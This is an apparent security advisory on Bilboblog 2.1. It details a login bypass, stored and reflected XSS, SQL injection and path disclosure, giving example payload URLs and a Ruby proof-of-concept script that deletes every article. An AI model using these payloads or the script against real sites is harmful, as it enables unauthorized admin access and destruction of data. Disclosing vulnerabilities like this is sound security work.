Bilboblog 2.1 Multiple Remote Vulnerabilities

Advisory Content :

------------------------------------------------------------------

Name : Bilboblog 2.1 Multiples Vulnerabilities
Description : Bilboblog is a small application of micro-blogging in
Php / MySQL
Link :
http://www.tux-planet.fr/bilboblog-version-021-english-translation/

Vuln. types : Login Bypass - Cross Site Scripting - SQL Injection -
Full Path Disclosure

Conditions : - SQL Injection : Magic Quotes Off
- Login Bypass, XSS : Register Globals On

Credits : Black_H <bl4ck.h@gmail.com>

------------------------------------------------------------------

.: I. Login Bypass
-------------------

This vulnerability need register_global on.
The file "admin/index.php" (and most of the admin files) includes the
file 'login.php' (at line 23) which contains :

22| session_start();
23| $checkLogin = false;
24| #echo "toto".$_SESSION['admin_login']; // note: wtf ??
25| if(!isset($_SESSION['admin_login'])) {
26|
27| # Check form values
28| if (isset($_POST) && (!empty($_POST['admin_login'])) &&
(!empty($_POST['admin_passwd'])) ) {
29|
30| # Get Session vriables
31| $admin_login = trim($_POST['admin_login']);
32| $admin_passwd = trim($_POST['admin_passwd']);
33|
34| # Check login
35| if($admin_login == $login && $admin_passwd == $password) {
36| $checkLogin = true;
37| $_SESSION['admin_login'] = $admin_login;
38| $_SESSION['admin_passwd'] = $admin_passwd;
39| }
40| }
41|
42| } else {
43| $checkLogin = true;
44| }
45|
46| 22| if(!$checkLogin) {
47|
48| # Print login form
[...]
58| exit(0);
59| }

So, we need the session 'admin_login' ( $_SESSION['admin_login'] ) to
have admin rights in all files. The script checks
if we have post good login and pass or not. It's look like good, but if
we call directly the login.php file,
the $login and $password variable are not defined. We can set them with
register_globals on, valid the form with
the same value and so set $_SESSION['admin_login'].

In facts, go on the page
http://site.com/bilboblog/admin/login.php?login=1&password=1 and fill the
forms with '1' value
and submit. Because checkLogin is true nothing is printed and you're
admin :)))

.: II. Cross Site Scripting
----------------------------

1) Permanent XSS

When an admin ( legitim or not :)) ) post an article, the enCode
function is applied to the content :

---- 'admin/update.php'

25| # Check values
26| if(isset($_POST['content']) && $_POST['content'] != "") {
27| $content = enCode(substr(trim($_POST['content']), 0, $limit_post));
[...]
36| # Insert new content
37| $sql = "INSERT INTO $db_table VALUES ('', '".time()."',
'$content');";
38| $result = mysql_query($sql);

---- 'admin/function.php'

141| function enCode($chaine) {
142|
[...] // # Youtube & Dailymotion encode url
145|
146| # Detect string encoding
147| $encodage = mb_detect_encoding($chaine);
148| if($encodage == "ASCII") $encodage = "iso-8859-1"; # Htmlentities
unknown ASCII
149|
150| # Convert special char to html code
151| $chaine = htmlentities($chaine,ENT_QUOTES,$encodage);
152| $chaine = addslashes($chaine);
153|
154| # Return result
155| return $chaine;
156| }

The function clean all html chars in the content that we've submit.
It protects the user against XSS in all pages of the blog but in the
'widget.php' file stripslashes()
and html_entity_decode() functions is applied to the content which is
printed !
So je just need to get admin rights (see upper) post malicious code and
share widget.php's url to the victim.

2) Unpermanents XSS

The file "index.php" includes the file 'head.php' (at line 21) which
contains :

44| if ($_SERVER['QUERY_STRING'] != "" &&
intval($_SERVER['QUERY_STRING']) != "") {
[...]
55| $titleId = str2Url($liste[2], 100, 0).' - '.$title;
56| }

78| <title><?php if(!empty($titleId)) { echo $titleId; } else { echo
$title; } ?></title>
79| </head>

When a page is loaded, the script checks if a number is present in the
url to see if she could print an article.
If the URL ( $_SERVER['QUERY_STRING'] ) contains a number (the id) the
script load the article corresponding to the id
in $_SERVER['QUERY_STRING'].

If $_SERVER['QUERY_STRING'] (the url) do not contain a number, the
variable $titleId is not set and print :
we can define it on add a parameter titleId in the url and his value
will be printed on the web page.
But, the variable $titleId is betwenn the <head> balise, so we need to
add </title></head><body> before the malicious code.
We have :
http://site.com/bilboblog/?titleId=TITLE</title></head><body><script>alert(
1);</script>

Anyway, there are unfunny XSS in admin files and 'footer.php' :

http://site.com/bilboblog/footer.php?t_lang[lang_copyright]=XSS
http://site.com/bilboblog/admin/?content=</textarea>XSS
http://site.com/bilboblog/admin/homelink.php?url=">XSS

http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_help]=XSS

http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_clear_cache]
=XSS

http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_home]=XSS

http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_logout]=XSS

and also in /admin/post.php ...

.: III. SQL Injection
----------------------

In admin panel, we can delete articles by sending article's id we want
to supress to the script delete.php
which clean the id of spaces and include it in a basic sql query :

25| # Check values
26| if(isset($_POST['num']) && $_POST['num'] != "") {
27| $article = trim($_POST['num']);

36| # Insert new content // It's look like a copy/paste :))
37| $sql = "DELETE FROM $db_table WHERE num_article = '$article';";
38| $result = mysql_query($sql);

So, with magic_quotes off, we can inject sql code in the query and, by
example, delete all entries
(all articles) in the database.
To delete all entries, we must send a post request to delete.php, for
the poc see at the end of file.

.: IV. Full Path Disclosure
----------------------------

And to finish, the are to FPD which can be exploited for a server attack
or in sql injection :
http://localhost/Audits/bilboblog/footer.php?enable_cache=false
http://localhost/Audits/bilboblog/pagination.php // don't need any
conditions

.: Ã�. SQL INJECTION POC (Ruby)
---------------------------------------

# -- CUT

# Config
host = 'site.com'
path = '/bilboblog/'
# -- End

require 'net/http'
http = Net::HTTP.new(host)

data = { 0 => "admin_login=1&admin_passwd=1", 1 => "num=-1' OR
num_article > 0#" }
resp = http.post(path+'admin/login.php?login=1&password=1', data[0])

cookie = { 'Cookie' => resp.response['set-cookie'] }
resp = http.post(path+'admin/delete.php', data[1], cookie)
if(resp.code.to_s == '302') : puts 'Done !' end

# -- EOF

Black_H <bl4ck.h@gmail.com> - blackh.eu
http://blackh.eu/Advisories/Billboblog_2.1_Advisories.txt

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Bilboblog 2.1 Multiple Remote Vulnerabilities